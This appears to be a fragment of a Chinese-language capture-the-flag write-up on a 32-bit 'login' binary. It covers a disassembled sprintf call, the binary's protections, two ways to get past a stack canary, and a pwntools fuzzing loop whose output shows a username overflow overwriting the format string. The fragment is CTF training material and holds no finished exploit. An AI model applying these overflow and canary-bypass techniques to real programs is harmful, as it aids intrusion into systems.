Ref
wirteups
vuln
.text:08048744 push [ebp+var_64]
.text:08048747 push [ebp+var_60]
.text:0804874A push [ebp+format] ; format
.text:0804874D lea eax, [ebp+s]
.text:08048750 push eax ; s
.text:08048751 call _sprintf
当时看到sprintf格式化漏洞,这里format为%s:%s,对应输入的username和password
然而有保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
绕过canary有两种方式
- 通过leak出GS,然后在溢出的时候吧GS填到对应位置
- 覆盖到argv或者一些特殊的位置
这里运用第二种
fuzz
通过自定义一个fuzz来查看输出的信息
for i in range(0x50, 0x100):
p = process('./login')
p.recvuntil('username:')
p.sendline('A'*i)
p.recvuntil('password:')
p.sendline('B'*0x10)
print 'the padding size:', hex(i)
data = p.recvall()
print data
在输出结果中
the padding size: 0x7c
Login successful!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*** stack smashing detected ***: ./login terminated
the padding size: 0x7d
Login successful!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
可以看到在username.size <= 0x7c时,格式化sprintf正常拷贝,到0x7d,可以看到:没有了orz
说明sprintf在拷贝的时候字符连续拷贝覆盖到了栈区上的format,从而使得 : 被覆盖